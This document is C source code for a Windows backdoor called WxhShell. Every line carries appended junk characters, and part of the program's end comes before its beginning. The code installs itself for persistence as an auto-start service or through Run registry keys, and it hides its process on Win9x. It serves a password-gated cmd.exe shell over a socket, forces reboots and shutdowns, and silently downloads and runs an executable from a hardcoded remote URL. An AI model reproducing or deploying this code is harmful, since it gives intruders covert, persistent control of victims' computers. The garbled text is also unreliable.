    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;_Z[' %  
    if(Boot(SHUTDOWN)) (N :vDq'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c}r"O8M  
    else { W 2.Ap  
    closesocket(wsh); o-_H+p6a  
    ExitThread(0); 7F@#6  
    } tzV^.QWm  
    break; o{?Rz3z  
    } 4RoE>m1[G  
  // 获取shell @UCr`>  
  case 's': { p]erk  
    CmdShell(wsh); ] g]^^  
    closesocket(wsh); Gj H$!P=.  
    ExitThread(0); Js}1_K  
    break; ni`uO<\U  
  } !ZrU@T  
  // 退出 R7ze~[oF  
  case 'x': { H^r;,Q$9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JOFQyhY0>m  
    CloseIt(wsh); S@Q4fmH  
    break; #)PAvBJ;m  
    } !rZ r:@  
  // 离开 5l[&-: (Lh  
  case 'q': { ,Vr-E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); WCUaXvw  
    closesocket(wsh); xfK@tLEZ-1  
    WSACleanup(); mfCp@1;26  
    exit(1); G3_HX<|f*  
    break; ~D\zz }l  
        } V Bv|7S  
  } e .1! K  
  } *BFG{P  
PEDV9u[A  
  // 提示信息 H=v=)cUe[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $1}Y4>3  
} >&%#`PKT  
  } VtnVl`/]  
Bx 9v2x.  
  return; &Xh_`*]ox  
} :^H2D=z@  
vMYL( ]e  
// shell模块句柄 ^Cy=L]  
int CmdShell(SOCKET sock) @ q:S]YB   
{ &5d~ODO  
STARTUPINFO si; ;(r,;S_`0  
ZeroMemory(&si,sizeof(si)); z,xGjS P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :Fh#"<A&&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; WiiAIv&  
PROCESS_INFORMATION ProcessInfo; IC6r?  
char cmdline[]="cmd"; u1;sH{YK>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mr2fNA>kR  
  return 0; dwJnPJ=z  
} 34<k)0sO  
y/>IF|aX  
// 自身启动模式 \zLKSJ]  
int StartFromService(void) [PX%p ;"D  
{ jT=fq'RK  
typedef struct CWY-}M  
{ )0?u_Z]w9  
  DWORD ExitStatus; -]<<}@NF  
  DWORD PebBaseAddress; _|VF^\i  
  DWORD AffinityMask; s a{x.2/o}  
  DWORD BasePriority; g1v=a  
  ULONG UniqueProcessId; $|m'~AmI  
  ULONG InheritedFromUniqueProcessId; F4DJML-(  
}   PROCESS_BASIC_INFORMATION; ]8f$&gw&A  
ToR@XL!%rP  
PROCNTQSIP NtQueryInformationProcess; "6q@}sz!  
;u;_\k<qK  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7_ s7 );  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !xvAy3  
YHzP/&0  
  HANDLE             hProcess; U%)-_ *`z  
  PROCESS_BASIC_INFORMATION pbi; N$N 7aE$  
kX%vTl7F  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g&I|@$\  
  if(NULL == hInst ) return 0; bXi(]5  
suHi sc*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L@"&s#~=3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %>- ?oor  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =z zmz7op  
`Z^\<{z  
  if (!NtQueryInformationProcess) return 0; nxMZd=Y  
BU.O[?@64  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :!yPR  
  if(!hProcess) return 0; MSE0z !t  
{t!Pv 2y<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S SfNI>  
,!dVhG#  
  CloseHandle(hProcess); 3b[.s9Q  
9#E)H?`g  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |[!7^tU*  
if(hProcess==NULL) return 0; 'U-8w@\Z  
P!dSJ1'oC  
HMODULE hMod; b_f"(l8'S  
char procName[255]; 5a&BgBO1M  
unsigned long cbNeeded; zl<D"eP  
pi5DDK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [<WoXS1LX  
 [ J4n%  
  CloseHandle(hProcess); uCoy~kt292  
ny:/a  
if(strstr(procName,"services")) return 1; // 以服务启动 jo' V.]\  
 o .*t  
  return 0; // 注册表启动 Je4hQJ<h  
} o .( Gja4  
=q}Z2 OoYh  
// 主模块 Rj3ad3z'E  
int StartWxhshell(LPSTR lpCmdLine) KAgxIz!^-1  
{ |$g} &P8;  
  SOCKET wsl; *!pn6OJ"Q}  
BOOL val=TRUE; fp}5QUm-  
  int port=0; QmMA]Q  
  struct sockaddr_in door; yz"hU  
5mX^{V&^  
  if(wscfg.ws_autoins) Install(); YC(X= D  
wxJoWbn  
port=atoi(lpCmdLine); ,Xxp]*K2  
.}Eckqkp  
if(port<=0) port=wscfg.ws_port; 6O_l;A[=1  
NOmFQ)/ &  
  WSADATA data; rl,i,1t  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _nM 7SK  
| {Q}:_/q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3YG%YhevO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $,B;\PX  
  door.sin_family = AF_INET; q07H{{h/B  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); a"l\_D'.K8  
  door.sin_port = htons(port); yKy )%i  
"7eL&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7AlL,&+  
closesocket(wsl); dQ_hlx!J  
return 1; C3'?E<F  
} izzX$O[=:  
Tgl >  
  if(listen(wsl,2) == INVALID_SOCKET) { R90#T6^  
closesocket(wsl); V|~o`(]  
return 1; @}2EEo#  
} 51tZ:-1!  
  Wxhshell(wsl); }0?XF/e(R  
  WSACleanup(); Shv$"x:W  
r'4Dj&9Ac  
return 0; Ww"]3  
t37<<5A  
} N<b~,[yCd>  
BS ]:w(}[  
// 以NT服务方式启动 T;]Ob3(BpW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `"o{MaFA  
{ virt[5w  
DWORD   status = 0; yy+:x/(N[  
  DWORD   specificError = 0xfffffff; uA V7T/'  
WrS>^\:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ra2{8 x  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zI\+]U'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U9K'O !i>  
  serviceStatus.dwWin32ExitCode     = 0; 4)8e0L*[B?  
  serviceStatus.dwServiceSpecificExitCode = 0; HYL['B?Wid  
  serviceStatus.dwCheckPoint       = 0; )x~ /qHt  
  serviceStatus.dwWaitHint       = 0; PE g]z  
WZTAXOw  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FmFjRYA W  
  if (hServiceStatusHandle==0) return; pXvys] @  
9kB R/{  
status = GetLastError(); `sDLxgwI  
  if (status!=NO_ERROR) v^)B [e!  
{ UB+7]S  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4oL .Bt  
    serviceStatus.dwCheckPoint       = 0; e)N< r  
    serviceStatus.dwWaitHint       = 0; +z:>Nl  
    serviceStatus.dwWin32ExitCode     = status; G4rzx%W?  
    serviceStatus.dwServiceSpecificExitCode = specificError; hiEYIx  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mkhWbzD'S  
    return; @;x*~0GZ  
  } !8D>Bczq)  
7&D)+{g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; CO9PQ`9+  
  serviceStatus.dwCheckPoint       = 0; c2Exga_  
  serviceStatus.dwWaitHint       = 0; ) iZU\2L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R:3=!zav  
} IRueq @4  
Nukyvse  
// 处理NT服务事件,比如:启动、停止 V]GF53D  
VOID WINAPI NTServiceHandler(DWORD fdwControl) tfu`_6  
{ ! ,{zDMA  
switch(fdwControl) b^&azUkMN  
{ bWSc&/ 9y  
case SERVICE_CONTROL_STOP: *l;S"}b*,_  
  serviceStatus.dwWin32ExitCode = 0; JU.!<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $ 7W5smW/  
  serviceStatus.dwCheckPoint   = 0; xcn~KF8  
  serviceStatus.dwWaitHint     = 0; z>\l%_w  
  { dwQ1~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q]?)c  
  } "LJV}L  
  return; SF9NS*mr  
case SERVICE_CONTROL_PAUSE: q"6$#o{~U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; IUDH"~f  
  break; 5423Ky<  
case SERVICE_CONTROL_CONTINUE:  wlsx|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;^u,[d  
  break; H  XFY  
case SERVICE_CONTROL_INTERROGATE: *8uS,s6g  
  break; ecQ{ePoU  
}; l($ 8H AJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R\XS5HOE(  
} p2k`)=iX  
jvAjnh#  
// 标准应用程序主函数 ;]b4O4C\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) TLp2a<Iy  
{ 5!cp^[rGL  
Sc#3<nVg  
// 获取操作系统版本 lC`w}0 p  
OsIsNt=GetOsVer(); 4<Nd5T  
GetModuleFileName(NULL,ExeFile,MAX_PATH); B-$?5Ft!  
%l14K_  
  // 从命令行安装 *v]s&$WyO  
  if(strpbrk(lpCmdLine,"iI")) Install(); [ZC\8tP`V  
93:oXyFjD  
  // 下载执行文件 9#m3<oSJ  
if(wscfg.ws_downexe) { #/jug[wf*!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *W 2)!C|  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4(VV@:_%  
} nlI3|5  
/CMgWGI  
if(!OsIsNt) {  @;$cX2  
// 如果时win9x,隐藏进程并且设置为注册表启动 :CK`v6 Qs  
HideProc(); S89j:KRXH%  
StartWxhshell(lpCmdLine); 3 o$zT9j  
} +RJKJ:W  
else WJu(,zM?G  
  if(StartFromService()) >j3':>\U  
  // 以服务方式启动 7}y@VO6]  
  StartServiceCtrlDispatcher(DispatchTable); rMHh!)^#W  
else 9(O eH7  
  // 普通方式启动 d(TN(6g@  
  StartWxhshell(lpCmdLine); B@NBN&Fr  
h#KSKKNW  
return 0; bmK  
} 1#%H!GKvTU  
ot[ZFF\  
AIY 1sSK  
|JF,n~n  
=========================================== *4NY"EwjN  
gzn:]Y^  
n|6G\99l+M  
J(@" 7RX  
8Iu6r}k?~`  
q g=`=]j  
" {? Y \T  
r5ldK?=k+*  
#include <stdio.h> uR{)%udu  
#include <string.h> :aomDK*  
#include <windows.h> li v=q  
#include <winsock2.h> /*{'p!?  
#include <winsvc.h> |>.MH  
#include <urlmon.h> }e/vKW fT  
`4snTM!v&  
#pragma comment (lib, "Ws2_32.lib") 2>o^@4PnZ  
#pragma comment (lib, "urlmon.lib") nDO7  
K-)!d$$   
#define MAX_USER   100 // 最大客户端连接数 D_0sXIbg  
#define BUF_SOCK   200 // sock buffer HcJ!(  
#define KEY_BUFF   255 // 输入 buffer Sn4xv2/  
y< j7iN  
#define REBOOT     0   // 重启 *?d\Zcj85[  
#define SHUTDOWN   1   // 关机 q~ Z UtF  
>r7PK45.K  
#define DEF_PORT   5000 // 监听端口 ?d%{-  
mRRZ/m?A(  
#define REG_LEN     16   // 注册表键长度 E;{CoL  
#define SVC_LEN     80   // NT服务名长度 E:B"!Y6  
% &&)[  
// 从dll定义API }4!}vkVx  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !j`<iPI7B  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); UkpTK8>&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kP+,x H)1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /;+\6(+X  
pZopdEFDK|  
// wxhshell配置信息 m(MQ  
struct WSCFG { ui,!_O .c  
  int ws_port;         // 监听端口 IqFcrU$4  
  char ws_passstr[REG_LEN]; // 口令 I&#:/|{:5  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2t_g\Q  
  char ws_regname[REG_LEN]; // 注册表键名 l+>Y  
  char ws_svcname[REG_LEN]; // 服务名 !;h&@LXG(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {l!{b1KJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h)ZqZ'k$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jT$J~M pHh  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6xtgnl#T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uA[ :  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pTG[F  
^.iRU'{  
}; @ Do.Wgt  
O50<h O]l  
// default Wxhshell configuration \V!{z;.fA  
struct WSCFG wscfg={DEF_PORT, 6'kQ(r>  
    "xuhuanlingzhe", 0$c(<+D  
    1, e ar:`11z  
    "Wxhshell", U)Hc 7% e  
    "Wxhshell", X>yDj]*4P  
            "WxhShell Service", )Jk$j  
    "Wrsky Windows CmdShell Service", F"k`PF*b  
    "Please Input Your Password: ",  B>:U  
  1, Y)F(-H)  
  "http://www.wrsky.com/wxhshell.exe", \ui'~n_t]  
  "Wxhshell.exe" )Cj1VjAg  
    }; =TNFAt  
HM0&%  
// 消息定义模块 }:c~5whN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4V4S5V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; B-w`mcqp$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; u9KT_` )  
char *msg_ws_ext="\n\rExit."; '_4apyq|  
char *msg_ws_end="\n\rQuit."; ^gx~{9`RR  
char *msg_ws_boot="\n\rReboot..."; D C/X|f  
char *msg_ws_poff="\n\rShutdown..."; hvO$ f.i  
char *msg_ws_down="\n\rSave to "; ]58~b%s  
Cy uRj[;B  
char *msg_ws_err="\n\rErr!"; [ !#Dba#  
char *msg_ws_ok="\n\rOK!"; D!Y@Og.  
?M&@# lbG  
char ExeFile[MAX_PATH]; c8[kL$b;j  
int nUser = 0; sV2D:%\K:  
HANDLE handles[MAX_USER]; :{)uD ;  
int OsIsNt; 5PZ7-WJ/  
Q &{C%j~N  
SERVICE_STATUS       serviceStatus; -r<8mL:yW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $Ugc:L<h+  
#~/9cVm$  
// 函数声明 (0Br`%!F  
int Install(void); )#M$ov  
int Uninstall(void); Uv>e :U7;  
int DownloadFile(char *sURL, SOCKET wsh); %i3[x.M  
int Boot(int flag); %.f%Q?P  
void HideProc(void); Z]Ud x  
int GetOsVer(void); 2IW!EUR  
int Wxhshell(SOCKET wsl); WvT H+  
void TalkWithClient(void *cs); $t^Td<  
int CmdShell(SOCKET sock); Ewr2popK  
int StartFromService(void); 0Yq_B+IC  
int StartWxhshell(LPSTR lpCmdLine); 1aS:bFi`  
~A5NseWCK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); WgR%mm^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @OT$* Qh  
>Tl/3{V  
// 数据结构和表定义 @d~]3T  
SERVICE_TABLE_ENTRY DispatchTable[] = :Ob^b3<t  
{ =>c0NT  
{wscfg.ws_svcname, NTServiceMain}, GqsV 6kH  
{NULL, NULL} Z7pX%nj_  
}; 5EQ)pH+  
aWRi`poZT  
// 自我安装 @0PWbs$  
int Install(void) BNjMq  
{ u(8{5"C  
  char svExeFile[MAX_PATH]; tlD^"eq4:  
  HKEY key; 5<`83; R9  
  strcpy(svExeFile,ExeFile); qzvht4  
/v<Gt%3X  
// 如果是win9x系统,修改注册表设为自启动 (n.IK/:  
if(!OsIsNt) { +U J~/XV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ga\ s5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B.od{@I(Xp  
  RegCloseKey(key); mD% qDKI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C.#Ha-@uz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3]9wfT%d  
  RegCloseKey(key); Hpz1Iy @  
  return 0; ZG1TR F "  
    } 6l2O>V  
  } QQN6\(;-  
} PR!0=E*}  
else { Nb3O> &J  
x?B`p"ifS  
// 如果是NT以上系统,安装为系统服务 @<$m`^H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v)O].Hd  
if (schSCManager!=0) b49h @G  
{ n(#yGzq  
  SC_HANDLE schService = CreateService k)D5>T  
  ( `a[fC9  
  schSCManager, hNYO+LrI)  
  wscfg.ws_svcname, CfS;F  
  wscfg.ws_svcdisp, ewn\'RLZ"@  
  SERVICE_ALL_ACCESS, W f8@ B#^{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _8y4U  
  SERVICE_AUTO_START, .p=J_%K}0x  
  SERVICE_ERROR_NORMAL, 0[d*Z  
  svExeFile, AU)\ lyB  
  NULL, XY6Sm{  
  NULL, QR(;a:  
  NULL, ^CQp5kp]  
  NULL, `5oXf  
  NULL 2i #Ekon  
  ); :%AEwRZ  
  if (schService!=0) C :sgT6  
  { dQrz+_   
  CloseServiceHandle(schService); . 4RU'9M  
  CloseServiceHandle(schSCManager); NpM;vO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tMP"9JE,  
  strcat(svExeFile,wscfg.ws_svcname); Oh10X.)i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -&1P2m/46  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ws QuJrG  
  RegCloseKey(key); QX}JQ<8  
  return 0; (U$;0`  
    } /%7&De6Xg  
  } )sK53O$  
  CloseServiceHandle(schSCManager); s{7bu|0  
} P"}"q ![  
} V>obMr^5  
F?FfRzZ[  
return 1; EQpF:@_  
} AFBWiuwI3  
fD\Fq'29{  
// 自我卸载 Crj7n/mp]s  
int Uninstall(void) ]gnEo.R  
{ 7Q Ns q  
  HKEY key; 0Ba]Zo Z  
f>Ua7!b  
if(!OsIsNt) { P{ %Urv{U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^^!G{ *F  
  RegDeleteValue(key,wscfg.ws_regname); Hq gg*4#  
  RegCloseKey(key); y<nPZ<h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uJ0'`Q?6R9  
  RegDeleteValue(key,wscfg.ws_regname); nvwf!iU6  
  RegCloseKey(key); [FF}HWf  
  return 0; B:UM2Jl   
  } "Vl4=W)u  
} :Sd`4"AA  
} =E!Y f#p+q  
else { cl4 _M{~  
(`#z@,1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :t "_I  
if (schSCManager!=0) mqsAYzG  
{ ^[bFGKE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -O1$jBQ S  
  if (schService!=0) ]n"RPktx  
  { "LkBN0D  
  if(DeleteService(schService)!=0) { Nr*X1lJ6  
  CloseServiceHandle(schService); w?8\9\ ;?  
  CloseServiceHandle(schSCManager); A1Uy|Dl  
  return 0; B1U!*yzG6  
  } kMLJa=]$  
  CloseServiceHandle(schService); tEo-Mj5:  
  } NMhpKno  
  CloseServiceHandle(schSCManager); rx9y^E5T`;  
} 2T?Y  
} T fIOS]  
[Pjitw/?  
return 1; v#s*I/kw  
} z6B#F<h  
W)T'?b'.  
// 从指定url下载文件 gzKMGL?%?  
int DownloadFile(char *sURL, SOCKET wsh) S!gzmkGcj  
{ #M'V%^xP  
  HRESULT hr; zv;xxAX  
char seps[]= "/"; [N9yW uc  
char *token; 1$C?+H  
char *file; zv/dj04>  
char myURL[MAX_PATH]; ]s)Y">6  
char myFILE[MAX_PATH]; oqbz!dM(Z  
Wuk8&P3  
strcpy(myURL,sURL); 0m> 8  
  token=strtok(myURL,seps); ]i0=3H2  
  while(token!=NULL) U~?mW,iRL  
  { 6L\]Ee  
    file=token; zd!%7 UP  
  token=strtok(NULL,seps); xb0,dZb  
  } #%E^cGfY  
 !j%  
GetCurrentDirectory(MAX_PATH,myFILE); P?|\Ig1Gk  
strcat(myFILE, "\\"); gzat!>*  
strcat(myFILE, file); , #GB  
  send(wsh,myFILE,strlen(myFILE),0); "zXrfn  
send(wsh,"...",3,0); {n|Uf 5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rMjb,2*rC7  
  if(hr==S_OK) kF,ME5%  
return 0; /)K;XtcN  
else I 2OQ  
return 1; 5cU:wc  
Rcw[`q3/  
} T!41[vm(  
~QPTs1Vk8  
// 系统电源模块 B B69U  
int Boot(int flag) -}!mi V  
{ ]yqE6Lf9  
  HANDLE hToken; BaIuOZ@,  
  TOKEN_PRIVILEGES tkp; s]kzXzRC?  
c[ 0`8s!  
  if(OsIsNt) { +U_1B%e(%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gCG #?f  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L1g0Dd\Ox  
    tkp.PrivilegeCount = 1; bE2O[B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; R'>@ja*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \SO)|M>.a  
if(flag==REBOOT) { Lr8|S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ZS]Z0iZv9  
  return 0; a:HN#P)12  
} mDbTOtD  
else { \.H9e/vU`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z^4+ 88  
  return 0; +O9x8OPHW  
} ZbdGI@  
  } >D~8iuy]8.  
  else { h2Th)&Fb>  
if(flag==REBOOT) { &^HVuYa.0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0pEM0M  
  return 0; (&v|,.c^)1  
} ly6zz|c5  
else { <BZC5b6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) oCI\yp@a  
  return 0; ,5}w]6bCr  
} |Z2"pV  
} #Cu$y8~as  
1>L'F8"  
return 1; #Y'b?&b  
} :@-yK8q's  
uG6.(A1LM  
// win9x进程隐藏模块 +5Dc5Bl  
void HideProc(void) Y0EX{oxt1  
{ a L+>XN  
9"gu>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m0v .[61  
  if ( hKernel != NULL ) M | "'`zc  
  { q6nRk~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1%N*GJlwJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P\6:euI  
    FreeLibrary(hKernel); a9{NAyl<oo  
  } V!^0E.?a  
."B{U_P&  
return; SN L-6]j  
} +YW;63"o  
`#`jU"T|  
// 获取操作系统版本 .7b%7dQ<\  
int GetOsVer(void) `Z5dRLrd  
{ mR XR uK  
  OSVERSIONINFO winfo; x`@`y7(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $)o0{HsL+  
  GetVersionEx(&winfo); Mz2TwU_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) JJbd h \  
  return 1; g.hYhg'KUh  
  else 5.&)hmpg  
  return 0; vGh>1U:  
} 2/s42 FoG  
Jkbeh.  
// 客户端句柄模块 'plUs<A  
int Wxhshell(SOCKET wsl) WR"1d\m:  
{ :0 n+RL*5  
  SOCKET wsh; |D/a}Av>B  
  struct sockaddr_in client; $^{#hYq)o  
  DWORD myID; Tjrb.+cua  
G&1bhi52  
  while(nUser<MAX_USER) "uIaKb  
{ c};%VB  
  int nSize=sizeof(client); Fc\]*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); FE,mUpHIR  
  if(wsh==INVALID_SOCKET) return 1; ?jlz:Z4  
E JuTv%Y8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <y^_&9  
if(handles[nUser]==0) @/^mFqr2  
  closesocket(wsh); zN]%p>,)HB  
else _[Imwu}  
  nUser++; a4 N f\7  
  } ][?J8F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QOg >|"KL  
; xp-MK  
  return 0; >|kD(}Axf  
} `kQosQV  
457{9k  
// 关闭 socket J-dB  
void CloseIt(SOCKET wsh) g([:"y?  
{ `=#jWZ.8m  
closesocket(wsh); A7+ZY,  
nUser--; #*_!Xc9f  
ExitThread(0); 0<~~0US  
} ?-mOAHW0q  
\ DZ.#=d  
// 客户端请求句柄 MSvZ3[5Io  
void TalkWithClient(void *cs) r=Lgh#9S  
{ U-fxlg|-C  
_r\M}lDh*  
  SOCKET wsh=(SOCKET)cs; hPBBXj/=  
  char pwd[SVC_LEN]; Sm4BZF~!B  
  char cmd[KEY_BUFF];  ]gcOMC  
char chr[1]; \2a;z<(  
int i,j; 8/dMvAB1So  
eU%49 A  
  while (nUser < MAX_USER) { _Wg}#r  
4^2>K C_  
if(wscfg.ws_passstr) { Q9O_>mZy  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -NN=(p!<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (iir,Ks2C  
  //ZeroMemory(pwd,KEY_BUFF); k"&o)*d  
      i=0; TK\3mrEI  
  while(i<SVC_LEN) { ' :B;!3a0d  
-~ ~h1  
  // 设置超时 Zc1x"j  
  fd_set FdRead; si6CWsb_f  
  struct timeval TimeOut; yFDeY PZP  
  FD_ZERO(&FdRead); Z)E)-2U$@  
  FD_SET(wsh,&FdRead); Gg9MAK\C9  
  TimeOut.tv_sec=8; =cjO]  
  TimeOut.tv_usec=0; ]Rxo}A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X=]utn  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~r8<|$;  
fuUtM_11  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .4 WJk>g  
  pwd=chr[0]; {E Ay~lo  
  if(chr[0]==0xd || chr[0]==0xa) { H2R3I<j  
  pwd=0; ;n(f?RO3X  
  break; _(h=@cv  
  } A[;deHg=  
  i++;  MYy58N  
    } 4mo/MK&M:  
PZ8,E{V  
  // 如果是非法用户,关闭 socket LPt9+sauf1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); oHx :["F  
} bGeIb-|(  
3jxC}xz)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Hm'"I!jyO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %w65)BFQ  
L>sLb(2\i  
while(1) { nI6ompTX  
!mUJ["#  
  ZeroMemory(cmd,KEY_BUFF); ^)>( <6  
PtW2S 1?j  
      // 自动支持客户端 telnet标准   m#RJRuZ|2V  
  j=0; `K.B`  
  while(j<KEY_BUFF) { (Fzy8 s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 96V8R<   
  cmd[j]=chr[0]; aH_c84DS  
  if(chr[0]==0xa || chr[0]==0xd) { lY tt|J  
  cmd[j]=0; ^{MqJ\S7H  
  break; JnBc@qnP6  
  } 4DCh+|r  
  j++; _< .VP  
    } 8~C}0H  
}bS1M  
  // 下载文件 *GE6zGdN  
  if(strstr(cmd,"http://")) { }UW*[dCf>C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?{f6su@rW  
  if(DownloadFile(cmd,wsh)) o1(;"5MM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wds>'zzS  
  else c 1F^Gj!8  
